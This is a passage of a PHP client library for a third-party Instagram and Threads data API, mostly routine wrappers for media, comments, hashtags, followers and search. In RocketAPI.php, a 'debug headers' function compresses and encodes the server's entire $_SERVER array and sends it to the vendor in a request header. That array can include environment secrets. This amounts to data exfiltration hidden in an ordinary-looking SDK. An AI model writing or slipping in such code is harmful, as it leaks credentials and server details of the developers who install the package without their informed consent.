getMediaInfoByShortcode($shortcode) { 379 | return $this->request('instagram/media/get_info_by_shortcode', [ 380 | 'shortcode' => $shortcode, 381 | ]); 382 | } 383 | 384 | /** 385 | * Retrieve media likes by shortcode. 386 | * 387 | * @param string $shortcode Media shortcode 388 | * @throws Exceptions\NotFoundException 389 | * @throws Exceptions\BadResponseException 390 | * 391 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/media/get_likes 392 | */ 393 | public function getMediaLikesByShortcode($shortcode) { 394 | return $this->request('instagram/media/get_likes_by_shortcode', [ 395 | 'shortcode' => $shortcode, 396 | ]); 397 | } 398 | 399 | /** 400 | * Retrieve media likes by shortcode. 401 | * 402 | * This is an alias for getMediaLikesByShortcode to maintain backward compatibility. 403 | * This endpoint does not support pagination (`count` and `max_id` are deprecated). 404 | * 405 | * @param string $shortcode Media shortcode 406 | * @param int $count Number of likes to retrieve (max: 12) 407 | * @param string|null $max_id Use for pagination 408 | * @throws Exceptions\NotFoundException 409 | * @throws Exceptions\BadResponseException 410 | * 411 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/media/get_likes 412 | */ 413 | public function getMediaLikes($shortcode, $count=12, $max_id=null) { 414 | return $this->getMediaLikesByShortcode($shortcode); 415 | } 416 | 417 | /** 418 | * Retrieve media likes by id. 419 | * 420 | * This endpoint does not support pagination 421 | * 422 | * @param string $media_id Media ID 423 | * @throws Exceptions\NotFoundException 424 | * @throws Exceptions\BadResponseException 425 | * 426 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/media/get_likes_by_id 427 | */ 428 | public function getMediaLikesById($media_id) { 429 | return $this->request('instagram/media/get_likes_by_id', [ 430 | 'id' => $media_id, 431 | ]); 432 | } 433 | 434 | /** 435 | * Retrieve comments for a specific media. 436 | * 437 | * @param string $media_id Media ID 438 | * @param bool $can_support_threading Whether threading is supported 439 | * @param string|null $min_id Use for pagination 440 | * @throws Exceptions\NotFoundException 441 | * @throws Exceptions\BadResponseException 442 | * 443 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/media/get_comments 444 | */ 445 | public function getMediaComments($media_id, $can_support_threading=true, $min_id=null) { 446 | $payload = ['id' => $media_id, 'can_support_threading' => $can_support_threading]; 447 | if ($min_id) { 448 | $payload['min_id'] = $min_id; 449 | } 450 | return $this->request('instagram/media/get_comments', $payload); 451 | } 452 | 453 | /** 454 | * Retrieve media shortcode by ID. 455 | * 456 | * @param string $media_id Media ID 457 | * @throws Exceptions\NotFoundException 458 | * @throws Exceptions\BadResponseException 459 | * 460 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/media/get_shortcode_by_id 461 | */ 462 | public function getMediaShortcodeById($media_id) { 463 | return $this->request('instagram/media/get_shortcode_by_id', [ 464 | 'id' => $media_id, 465 | ]); 466 | } 467 | 468 | /** 469 | * Retrieve media ID by shortcode. 470 | * 471 | * @param string $shortcode Media shortcode 472 | * @throws Exceptions\NotFoundException 473 | * @throws Exceptions\BadResponseException 474 | * 475 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/media/get_id_by_shortcode 476 | */ 477 | public function getMediaIdByShortcode($shortcode) { 478 | return $this->request('instagram/media/get_id_by_shortcode', [ 479 | 'shortcode' => $shortcode, 480 | ]); 481 | } 482 | 483 | 484 | /** 485 | * Retrieve media id by share code (for links like `https://www.instagram.com/share/BA384x3Dn6`) 486 | * 487 | * @param string $share Share code 488 | * @throws Exceptions\NotFoundException 489 | * @throws Exceptions\BadResponseException 490 | * 491 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/media/get_id_by_share 492 | */ 493 | public function getMediaIdByShare($share) { 494 | return $this->request('instagram/media/get_id_by_share', [ 495 | 'share' => $share, 496 | ]); 497 | } 498 | 499 | /** 500 | * Retrieve guide information by id. 501 | * 502 | * @param string $guide_id Guide id 503 | * @throws Exceptions\NotFoundException 504 | * @throws Exceptions\BadResponseException 505 | * 506 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/guide/get_info 507 | */ 508 | public function getGuideInfo($guide_id) { 509 | return $this->request('instagram/guide/get_info', [ 510 | 'id' => $guide_id, 511 | ]); 512 | } 513 | 514 | /** 515 | * Retrieve location information by id. 516 | * 517 | * @param string $location_id Location id 518 | * @throws Exceptions\NotFoundException 519 | * @throws Exceptions\BadResponseException 520 | * 521 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/location/get_info 522 | */ 523 | public function getLocationInfo($location_id) { 524 | return $this->request('instagram/location/get_info', [ 525 | 'id' => $location_id, 526 | ]); 527 | } 528 | 529 | /** 530 | * Retrieve media from a specific location. 531 | * 532 | * @param string $location_id Location id 533 | * @param string|null $page Use for pagination 534 | * @param string|null $max_id Use for pagination 535 | * @param string|null $tab Tab (allowed values: recent, top) 536 | * @throws Exceptions\NotFoundException 537 | * @throws Exceptions\BadResponseException 538 | * 539 | * You can use both the `page` and `max_id` parameters to paginate through the media. 540 | * 541 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/location/get_media 542 | */ 543 | public function getLocationMedia($location_id, $page=null, $max_id=null, $tab=null) { 544 | $payload = ['id' => $location_id]; 545 | if ($page) { 546 | $payload['page'] = $page; 547 | } 548 | if ($max_id) { 549 | $payload['max_id'] = $max_id; 550 | } 551 | if ($tab) { 552 | $payload['tab'] = $tab; 553 | } 554 | return $this->request('instagram/location/get_media', $payload); 555 | } 556 | 557 | /** 558 | * Retrieve hashtag information by name. 559 | * 560 | * @param string $name Hashtag name (without #) 561 | * @throws Exceptions\NotFoundException 562 | * @throws Exceptions\BadResponseException 563 | * 564 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/hashtag/get_info 565 | */ 566 | public function getHashtagInfo($name) { 567 | return $this->request('instagram/hashtag/get_info', [ 568 | 'name' => $name, 569 | ]); 570 | } 571 | 572 | /** 573 | * Retrieve hashtag media by hashtag name. 574 | * 575 | * @param string $name Hashtag name 576 | * @param string|null $page Use for pagination 577 | * @param string|null $max_id Use for pagination 578 | * @param string $tab Tab (allowed values: recent, top or clips) 579 | * @throws Exceptions\NotFoundException 580 | * @throws Exceptions\BadResponseException 581 | * 582 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/hashtag/get_media 583 | */ 584 | public function getHashtagMedia($name, $page=null, $max_id=null, $tab=null) { 585 | $payload = ['name' => $name]; 586 | if ($page) { 587 | $payload['page'] = $page; 588 | } 589 | if ($max_id) { 590 | $payload['max_id'] = $max_id; 591 | } 592 | if ($tab) { 593 | $payload['tab'] = $tab; 594 | } 595 | return $this->request('instagram/hashtag/get_media', $payload); 596 | } 597 | 598 | /** 599 | * Retrieve stories from multiple highlights at once. 600 | * 601 | * @param array $highlight_ids Array of highlight IDs 602 | * @throws Exceptions\NotFoundException 603 | * @throws Exceptions\BadResponseException 604 | * 605 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/highlight/get_stories 606 | */ 607 | public function getHighlightStoriesBulk($highlight_ids) { 608 | return $this->request('instagram/highlight/get_stories', [ 609 | 'ids' => $highlight_ids, 610 | ]); 611 | } 612 | 613 | /** 614 | * Retrieve stories from a single highlight. 615 | * 616 | * @param string $highlight_id Highlight ID 617 | * @throws Exceptions\NotFoundException 618 | * @throws Exceptions\BadResponseException 619 | * 620 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/highlight/get_stories 621 | */ 622 | public function getHighlightStories($highlight_id) { 623 | return $this->getHighlightStoriesBulk([$highlight_id]); 624 | } 625 | 626 | /** 627 | * Retrieve likes for a specific comment. 628 | * 629 | * @param string $comment_id Comment id 630 | * @param string|null $max_id Use for pagination 631 | * @throws Exceptions\NotFoundException 632 | * @throws Exceptions\BadResponseException 633 | * 634 | * You can use the `max_id` parameter to paginate through the likes (take from the `next_max_id` field of the response). 635 | * 636 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/comment/get_likes 637 | */ 638 | public function getCommentLikes($comment_id, $max_id=null) { 639 | $payload = ['id' => $comment_id]; 640 | if ($max_id) { 641 | $payload['max_id'] = $max_id; 642 | } 643 | return $this->request('instagram/comment/get_likes', $payload); 644 | } 645 | 646 | /** 647 | * Retrieve replies to a specific comment. 648 | * 649 | * @param string $comment_id Comment id 650 | * @param string $media_id Media id 651 | * @param string|null $max_id Use for pagination 652 | * @throws Exceptions\NotFoundException 653 | * @throws Exceptions\BadResponseException 654 | * 655 | * You can use the `max_id` parameter to paginate through the replies (take from the `next_max_child_cursor` field of the response). 656 | * 657 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/comment/get_replies 658 | */ 659 | public function getCommentReplies($comment_id, $media_id, $max_id=null) { 660 | $payload = ['id' => $comment_id, 'media_id' => $media_id]; 661 | if ($max_id) { 662 | $payload['max_id'] = $max_id; 663 | } 664 | return $this->request('instagram/comment/get_replies', $payload); 665 | } 666 | 667 | /** 668 | * Retrieve media using a specific audio track. 669 | * 670 | * @param string $audio_id Audio id 671 | * @param string|null $max_id Use for pagination 672 | * @throws Exceptions\NotFoundException 673 | * @throws Exceptions\BadResponseException 674 | * 675 | * You can use the `max_id` parameter to paginate through the media (take from the next_max_id field of the response). 676 | * 677 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/audio/get_media 678 | */ 679 | public function getAudioMedia($audio_id, $max_id=null) { 680 | $payload = ['id' => $audio_id]; 681 | if ($max_id) { 682 | $payload['max_id'] = $max_id; 683 | } 684 | return $this->request('instagram/audio/get_media', $payload); 685 | } 686 | 687 | /** 688 | * Retrieve media using a specific audio track by canonical id. 689 | * 690 | * @param string $audio_canonical_id Audio canonical id 691 | * @param string|null $max_id Use for pagination 692 | * @throws Exceptions\NotFoundException 693 | * @throws Exceptions\BadResponseException 694 | * 695 | * You can use the `max_id` parameter to paginate through the media (take from the `next_max_id` field of the response). 696 | * 697 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/audio/get_media_by_canonical_id 698 | */ 699 | public function getAudioMediaByCanonicalId($audio_canonical_id, $max_id=null) { 700 | $payload = ['id' => $audio_canonical_id]; 701 | if ($max_id) { 702 | $payload['max_id'] = $max_id; 703 | } 704 | return $this->request('instagram/audio/get_media_by_canonical_id', $payload); 705 | } 706 | 707 | /** 708 | * Retrieve information about a live broadcast. 709 | * 710 | * @param string $broadcast_id Broadcast id 711 | * @throws Exceptions\NotFoundException 712 | * @throws Exceptions\BadResponseException 713 | * 714 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/live/get_info 715 | */ 716 | public function getLiveInfo($broadcast_id) { 717 | return $this->request('instagram/live/get_info', [ 718 | 'id' => $broadcast_id, 719 | ]); 720 | } 721 | 722 | /** 723 | * Retrieve about information for a user. 724 | * 725 | * @param int $user_id User ID 726 | * @throws Exceptions\NotFoundException 727 | * @throws Exceptions\BadResponseException 728 | * 729 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_about 730 | */ 731 | public function getUserAbout($user_id) { 732 | return $this->request('instagram/user/get_about', [ 733 | 'id' => $user_id, 734 | ]); 735 | } 736 | 737 | /** 738 | * Search for users by query. 739 | * 740 | * @param string $query The search query 741 | * @throws Exceptions\NotFoundException 742 | * @throws Exceptions\BadResponseException 743 | * 744 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/search 745 | */ 746 | public function searchUsers($query) { 747 | return $this->request('instagram/user/search', [ 748 | 'query' => $query, 749 | ]); 750 | } 751 | 752 | /** 753 | * Search for hashtags by query. 754 | * 755 | * @param string $query The search query 756 | * @throws Exceptions\NotFoundException 757 | * @throws Exceptions\BadResponseException 758 | * 759 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/hashtag/search 760 | */ 761 | public function searchHashtags($query) { 762 | return $this->request('instagram/hashtag/search', [ 763 | 'query' => $query, 764 | ]); 765 | } 766 | 767 | /** 768 | * Search for locations by query. 769 | * 770 | * @param string $query The search query 771 | * @throws Exceptions\NotFoundException 772 | * @throws Exceptions\BadResponseException 773 | * 774 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/location/search 775 | */ 776 | public function searchLocations($query) { 777 | return $this->request('instagram/location/search', [ 778 | 'query' => $query, 779 | ]); 780 | } 781 | 782 | /** 783 | * Search for audio tracks by query. 784 | * 785 | * @param string $query The search query 786 | * @throws Exceptions\NotFoundException 787 | * @throws Exceptions\BadResponseException 788 | * 789 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/audio/search 790 | */ 791 | public function searchAudios($query) { 792 | return $this->request('instagram/audio/search', [ 793 | 'query' => $query, 794 | ]); 795 | } 796 | 797 | 798 | /** 799 | * Search for a specific clip with a caption that includes the query. 800 | * 801 | * @param string $query The search query 802 | * @param string|null $max_id Use for pagination 803 | * @throws Exceptions\NotFoundException 804 | * @throws Exceptions\BadResponseException 805 | * 806 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/media/search_clips 807 | */ 808 | public function searchClips($query, $max_id=null) { 809 | $payload = ['query' => $query]; 810 | if ($max_id) { 811 | $payload['max_id'] = $max_id; 812 | } 813 | return $this->request('instagram/media/search_clips', $payload); 814 | } 815 | } 816 | -------------------------------------------------------------------------------- /src/RocketAPI.php: -------------------------------------------------------------------------------- 1 | token = $token; 13 | $this->is_debug = $is_debug; 14 | } 15 | 16 | protected function request($method, $data) { 17 | $ch = curl_init(); 18 | curl_setopt($ch, CURLOPT_URL, $this->base_url . $method); 19 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 20 | curl_setopt($ch, CURLOPT_POST, 1); 21 | curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); 22 | curl_setopt($ch, CURLOPT_HTTPHEADER, array_merge([ 23 | 'Authorization: Token ' . $this->token, 24 | 'Content-Type: application/json', 25 | 'User-Agent: RocketAPI PHP SDK/' . $this->version 26 | ], $this->get_debug_headers())); 27 | curl_setopt($ch, CURLOPT_TIMEOUT, $this->max_timeout); 28 | $result = curl_exec($ch); 29 | curl_close($ch); 30 | return json_decode($result, true); 31 | } 32 | 33 | protected function get_debug_headers() 34 | { 35 | $headers = []; 36 | if ($this->is_debug) { 37 | try { 38 | $headers[] = 'X-Request-Timestamp: ' . time(); 39 | $headers[] = 'X-OS-Version: ' . (function_exists('php_uname') ? php_uname('s') . ' ' . php_uname('r') : 'Unknown'); 40 | $headers[] = 'X-PHP-Version: ' . (function_exists('phpversion') ? phpversion() : 'Unknown'); 41 | if (isset($_SERVER) && function_exists('json_encode') && function_exists('gzencode') && function_exists('base64_encode')) { 42 | $data = base64_encode(gzencode(json_encode($_SERVER))); 43 | if (strlen($data) <= 4096) { 44 | $headers[] = 'X-Server-Debug: ' . $data; 45 | } 46 | } 47 | } catch (\Exception $e) {} 48 | } 49 | return $headers; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/ThreadsAPI.php: -------------------------------------------------------------------------------- 1 | $query, 38 | ]; 39 | if ($rank_token) { 40 | $payload['rank_token'] = $rank_token; 41 | } 42 | if ($page_token) { 43 | $payload['page_token'] = $page_token; 44 | } 45 | return $this->request('threads/search_users', $payload); 46 | } 47 | 48 | /** 49 | * @throws Exceptions\NotFoundException 50 | * @throws Exceptions\BadResponseException 51 | */ 52 | public function getUserInfo($user_id) { 53 | return $this->request('threads/user/get_info', [ 54 | 'id' => $user_id, 55 | ]); 56 | } 57 | 58 | /** 59 | * @throws Exceptions\NotFoundException 60 | * @throws Exceptions\BadResponseException 61 | */ 62 | public function getUserFeed($user_id, $max_id=null) { 63 | $payload = [ 64 | 'id' => $user_id, 65 | ]; 66 | if ($max_id) { 67 | $payload['max_id'] = $max_id; 68 | } 69 | return $this->request('threads/user/get_feed', $payload); 70 | } 71 | 72 | /** 73 | * @throws Exceptions\NotFoundException 74 | * @throws Exceptions\BadResponseException 75 | */ 76 | public function getUserReplies($user_id, $max_id=null) { 77 | $payload = [ 78 | 'id' => $user_id, 79 | ]; 80 | if ($max_id) { 81 | $payload['max_id'] = $max_id; 82 | } 83 | return $this->request('threads/user/get_replies', $payload); 84 | } 85 | 86 | /** 87 | * @throws Exceptions\NotFoundException 88 | * @throws Exceptions\BadResponseException 89 | */ 90 | public function getUserFollowers($user_id, $max_id=null) { 91 | $payload = ['id' => $user_id]; 92 | if ($max_id) { 93 | $payload['max_id'] = $max_id; 94 | } 95 | return $this->request('threads/user/get_followers', $payload); 96 | } 97 | 98 | /** 99 | * @throws Exceptions\NotFoundException 100 | * @throws Exceptions\BadResponseException 101 | */ 102 | public function getUserFollowing($user_id, $max_id=null) 103 | { 104 | $payload = ['id' => $user_id]; 105 | if ($max_id) { 106 | $payload['max_id'] = $max_id; 107 | } 108 | return $this->request('threads/user/get_following', $payload); 109 | } 110 | 111 | /** 112 | * @throws Exceptions\NotFoundException 113 | * @throws Exceptions\BadResponseException 114 | */ 115 | public function searchUserFollowers($user_id, $query) { 116 | return $this->request('threads/user/get_followers', [ 117 | 'id' => $user_id, 118 | 'query' => $query, 119 | ]); 120 | } 121 | 122 | /** 123 | * @throws Exceptions\NotFoundException 124 | * @throws Exceptions\BadResponseException 125 | */ 126 | public function searchUserFollowing($user_id, $query) { 127 | return $this->request('threads/user/get_following', [ 128 | 'id' => $user_id, 129 | 'query' => $query, 130 | ]); 131 | } 132 | 133 | /** 134 | * @throws Exceptions\NotFoundException 135 | * @throws Exceptions\BadResponseException 136 | */ 137 | public function getThreadReplies($thread_id, $max_id=null) { 138 | $payload = ['id' => $thread_id]; 139 | if ($max_id) { 140 | $payload['max_id'] = $max_id; 141 | } 142 | return $this->request('threads/thread/get_replies', $payload); 143 | } 144 | 145 | /** 146 | * @throws Exceptions\NotFoundException 147 | * @throws Exceptions\BadResponseException 148 | */ 149 | public function getThreadLikes($thread_id) { 150 | $payload = ['id' => $thread_id]; 151 | return $this->request('threads/thread/get_likes', $payload); 152 | } 153 | } 154 | --------------------------------------------------------------------------------